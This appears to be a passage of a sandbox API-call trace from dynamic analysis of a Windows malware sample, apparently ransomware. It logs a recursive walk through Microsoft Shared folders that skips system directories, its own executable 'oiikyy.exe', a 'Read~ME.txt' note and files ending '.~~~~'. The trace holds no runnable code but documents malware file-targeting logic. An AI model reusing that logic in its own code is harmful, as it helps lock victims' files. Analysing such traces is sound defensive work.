	[0076.440] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0076.440] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1
	[0076.440] lstrcmpiW (lpString1="MSLID.DLL", lpString2="Windows") returned -1
	[0076.440] lstrcmpW (lpString1="MSLID.DLL", lpString2="oiikyy.exe") returned -1
	[0076.440] StrStrW (lpFirst="MSLID.DLL", lpSrch=".~~~~") returned 0x0
	[0076.440] lstrcmpW (lpString1="MSLID.DLL", lpString2="Read~ME.txt") returned -1
	[0076.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.441] GetCurrentThreadId () returned 0x618
	[0076.441] RtlWakeConditionVariable () returned 0x365f48
	[0076.441] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782b2c00, ftCreationTime.dwHighDateTime=0x1bada3f, ftLastAccessTime.dwLowDateTime=0x98a53b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x782b2c00, ftLastWriteTime.dwHighDateTime=0x1bada3f, nFileSizeHigh=0x0, nFileSizeLow=0x6c67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_EN.LEX", cAlternateFileName="")) returned 1
	[0076.441] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2="Windows") returned -1
	[0076.441] lstrcmpW (lpString1="MSWDS_EN.LEX", lpString2="oiikyy.exe") returned -1
	[0076.441] StrStrW (lpFirst="MSWDS_EN.LEX", lpSrch=".~~~~") returned 0x0
	[0076.441] lstrcmpW (lpString1="MSWDS_EN.LEX", lpString2="Read~ME.txt") returned -1
	[0076.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.441] GetCurrentThreadId () returned 0x618
	[0076.441] RtlWakeConditionVariable () returned 0x365f48
	[0076.441] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e2ea00, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x5b0da70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5e2ea00, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x60983, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_ES.LEX", cAlternateFileName="")) returned 1
	[0076.441] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2="Windows") returned -1
	[0076.441] lstrcmpW (lpString1="MSWDS_ES.LEX", lpString2="oiikyy.exe") returned -1
	[0076.441] StrStrW (lpFirst="MSWDS_ES.LEX", lpSrch=".~~~~") returned 0x0
	[0076.441] lstrcmpW (lpString1="MSWDS_ES.LEX", lpString2="Read~ME.txt") returned -1
	[0076.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.442] GetCurrentThreadId () returned 0x618
	[0076.442] RtlWakeConditionVariable () returned 0x365f48
	[0076.442] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 1
	[0076.442] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2="Windows") returned -1
	[0076.442] lstrcmpW (lpString1="MSWDS_FR.LEX", lpString2="oiikyy.exe") returned -1
	[0076.442] StrStrW (lpFirst="MSWDS_FR.LEX", lpSrch=".~~~~") returned 0x0
	[0076.442] lstrcmpW (lpString1="MSWDS_FR.LEX", lpString2="Read~ME.txt") returned -1
	[0076.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.442] GetCurrentThreadId () returned 0x618
	[0076.442] RtlWakeConditionVariable () returned 0x365f48
	[0076.442] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 0
	[0076.442] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0076.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.443] GetCurrentThreadId () returned 0x618
	[0076.443] RtlWakeConditionVariable () returned 0x365f48
	[0076.444] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1
	[0076.444] lstrcmpiW (lpString1="Smart Tag", lpString2="Windows") returned -1
	[0076.444] lstrcmpW (lpString1="Smart Tag", lpString2=".") returned 1
	[0076.444] lstrcmpW (lpString1="Smart Tag", lpString2="..") returned 1
	[0076.444] lstrcmpW (lpString1="Smart Tag", lpString2="AppData") returned 1
	[0076.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag", lpSrch="AppData") returned 0x0
	[0076.444] lstrlenW (lpString="C:\\Windows") returned 10
	[0076.444] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag", lpString2="C:\\Windows") returned -1
	[0076.444] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0076.444] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag", lpString2="C:\\System Volume Information") returned -1
	[0076.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0076.445] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0076.632] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0076.646] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0076.646] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0076.646] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0076.646] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0076.657] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.658] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0076.658] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0076.658] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0076.658] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0076.658] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0076.658] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0076.658] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0076.658] lstrcmpiW (lpString1="1033", lpString2="Windows") returned -1
	[0076.658] lstrcmpW (lpString1="1033", lpString2=".") returned 1
	[0076.658] lstrcmpW (lpString1="1033", lpString2="..") returned 1
	[0076.658] lstrcmpW (lpString1="1033", lpString2="AppData") returned -1
	[0076.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033", lpSrch="AppData") returned 0x0
	[0076.658] lstrlenW (lpString="C:\\Windows") returned 10
	[0076.658] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033", lpString2="C:\\Windows") returned -1
	[0076.658] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0076.658] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033", lpString2="C:\\System Volume Information") returned -1
	[0076.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x280bfd0
	[0076.658] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0076.715] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0076.715] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0076.715] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0076.715] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0076.715] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0076.716] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.716] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0076.716] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0076.716] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0076.716] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0076.716] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0076.716] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0076.716] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc52bb100, ftCreationTime.dwHighDateTime=0x1ca6185, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc52bb100, ftLastWriteTime.dwHighDateTime=0x1ca6185, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCABOUT.HTM", cAlternateFileName="")) returned 1
	[0076.716] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2="Windows") returned -1
	[0076.716] lstrcmpW (lpString1="MCABOUT.HTM", lpString2="oiikyy.exe") returned -1
	[0076.716] StrStrW (lpFirst="MCABOUT.HTM", lpSrch=".~~~~") returned 0x0
	[0076.716] lstrcmpW (lpString1="MCABOUT.HTM", lpString2="Read~ME.txt") returned -1
	[0076.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa460
	[0076.716] GetCurrentThreadId () returned 0x618
	[0076.716] RtlWakeConditionVariable () returned 0x365f48
	[0076.716] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x4380, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL", cAlternateFileName="")) returned 1
	[0076.716] lstrcmpiW (lpString1="STINTL.DLL", lpString2="Windows") returned -1
	[0076.716] lstrcmpW (lpString1="STINTL.DLL", lpString2="oiikyy.exe") returned 1
	[0076.716] StrStrW (lpFirst="STINTL.DLL", lpSrch=".~~~~") returned 0x0
	[0076.716] lstrcmpW (lpString1="STINTL.DLL", lpString2="Read~ME.txt") returned 1
	[0076.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa460
	[0076.716] GetCurrentThreadId () returned 0x618
	[0076.716] RtlWakeConditionVariable () returned 0x365f48
	[0076.716] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 1
	[0076.717] lstrcmpiW (lpString1="STINTL.DLL.IDX_DLL", lpString2="Windows") returned -1
	[0076.717] lstrcmpW (lpString1="STINTL.DLL.IDX_DLL", lpString2="oiikyy.exe") returned 1
	[0076.717] StrStrW (lpFirst="STINTL.DLL.IDX_DLL", lpSrch=".~~~~") returned 0x0
	[0076.717] lstrcmpW (lpString1="STINTL.DLL.IDX_DLL", lpString2="Read~ME.txt") returned 1
	[0076.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4bc8
	[0076.717] GetCurrentThreadId () returned 0x618
	[0076.717] RtlWakeConditionVariable () returned 0x365f48
	[0076.717] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 0
	[0076.717] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0076.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa460
	[0076.717] GetCurrentThreadId () returned 0x618
	[0076.717] RtlWakeConditionVariable () returned 0x365f48
	[0076.717] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x1e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1
	[0076.717] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="Windows") returned -1
	[0076.717] lstrcmpW (lpString1="FBIBLIO.DLL", lpString2="oiikyy.exe") returned -1
	[0076.717] StrStrW (lpFirst="FBIBLIO.DLL", lpSrch=".~~~~") returned 0x0
	[0076.717] lstrcmpW (lpString1="FBIBLIO.DLL", lpString2="Read~ME.txt") returned -1
	[0076.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa460
	[0076.717] GetCurrentThreadId () returned 0x618
	[0076.717] RtlWakeConditionVariable () returned 0x365f48
	[0076.717] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x17f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FDATE.DLL", cAlternateFileName="")) returned 1
	[0076.717] lstrcmpiW (lpString1="FDATE.DLL", lpString2="Windows") returned -1
	[0076.717] lstrcmpW (lpString1="FDATE.DLL", lpString2="oiikyy.exe") returned -1
	[0076.718] StrStrW (lpFirst="FDATE.DLL", lpSrch=".~~~~") returned 0x0
	[0076.718] lstrcmpW (lpString1="FDATE.DLL", lpString2="Read~ME.txt") returned -1
	[0076.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.718] GetCurrentThreadId () returned 0x618
	[0076.718] RtlWakeConditionVariable () returned 0x365f48
	[0076.718] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x35380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPERSON.DLL", cAlternateFileName="")) returned 1
	[0076.718] lstrcmpiW (lpString1="FPERSON.DLL", lpString2="Windows") returned -1
	[0076.718] lstrcmpW (lpString1="FPERSON.DLL", lpString2="oiikyy.exe") returned -1
	[0076.718] StrStrW (lpFirst="FPERSON.DLL", lpSrch=".~~~~") returned 0x0
	[0076.718] lstrcmpW (lpString1="FPERSON.DLL", lpString2="Read~ME.txt") returned -1
	[0076.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa460
	[0076.718] GetCurrentThreadId () returned 0x618
	[0076.718] RtlWakeConditionVariable () returned 0x365f48
	[0076.718] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f78700, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xc251c2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x66f78700, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x2c380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPLACE.DLL", cAlternateFileName="")) returned 1
	[0076.718] lstrcmpiW (lpString1="FPLACE.DLL", lpString2="Windows") returned -1
	[0076.718] lstrcmpW (lpString1="FPLACE.DLL", lpString2="oiikyy.exe") returned -1
	[0076.718] StrStrW (lpFirst="FPLACE.DLL", lpSrch=".~~~~") returned 0x0
	[0076.718] lstrcmpW (lpString1="FPLACE.DLL", lpString2="Read~ME.txt") returned -1
	[0076.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.718] GetCurrentThreadId () returned 0x618
	[0076.718] RtlWakeConditionVariable () returned 0x365f48
	[0076.718] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79275700, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x79275700, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x26d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FSTOCK.DLL", cAlternateFileName="")) returned 1
	[0076.718] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2="Windows") returned -1
	[0076.718] lstrcmpW (lpString1="FSTOCK.DLL", lpString2="oiikyy.exe") returned -1
	[0076.718] StrStrW (lpFirst="FSTOCK.DLL", lpSrch=".~~~~") returned 0x0
	[0076.719] lstrcmpW (lpString1="FSTOCK.DLL", lpString2="Read~ME.txt") returned -1
	[0076.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.719] GetCurrentThreadId () returned 0x618
	[0076.719] RtlWakeConditionVariable () returned 0x365f48
	[0076.719] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x39580, dwReserved0=0x0, dwReserved1=0x0, cFileName="IETAG.DLL", cAlternateFileName="")) returned 1
	[0076.719] lstrcmpiW (lpString1="IETAG.DLL", lpString2="Windows") returned -1
	[0076.719] lstrcmpW (lpString1="IETAG.DLL", lpString2="oiikyy.exe") returned -1
	[0076.719] StrStrW (lpFirst="IETAG.DLL", lpSrch=".~~~~") returned 0x0
	[0076.719] lstrcmpW (lpString1="IETAG.DLL", lpString2="Read~ME.txt") returned -1
	[0076.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.719] GetCurrentThreadId () returned 0x618
	[0076.719] RtlWakeConditionVariable () returned 0x365f48
	[0076.719] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x18b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMCONTACT.DLL", cAlternateFileName="IMCONT~1.DLL")) returned 1
	[0076.719] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2="Windows") returned -1
	[0076.719] lstrcmpW (lpString1="IMCONTACT.DLL", lpString2="oiikyy.exe") returned -1
	[0076.719] StrStrW (lpFirst="IMCONTACT.DLL", lpSrch=".~~~~") returned 0x0
	[0076.719] lstrcmpW (lpString1="IMCONTACT.DLL", lpString2="Read~ME.txt") returned -1
	[0076.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa460
	[0076.719] GetCurrentThreadId () returned 0x618
	[0076.719] RtlWakeConditionVariable () returned 0x365f48
	[0076.719] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LISTS", cAlternateFileName="")) returned 1
	[0076.719] lstrcmpiW (lpString1="LISTS", lpString2="Windows") returned -1
	[0076.720] lstrcmpW (lpString1="LISTS", lpString2=".") returned 1
	[0076.720] lstrcmpW (lpString1="LISTS", lpString2="..") returned 1
	[0076.720] lstrcmpW (lpString1="LISTS", lpString2="AppData") returned 1
	[0076.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS", lpSrch="AppData") returned 0x0
	[0076.720] lstrlenW (lpString="C:\\Windows") returned 10
	[0076.720] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS", lpString2="C:\\Windows") returned -1
	[0076.720] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0076.720] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS", lpString2="C:\\System Volume Information") returned -1
	[0076.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x280bfd0
	[0076.720] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0076.742] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0076.742] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0076.742] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0076.742] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0076.742] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
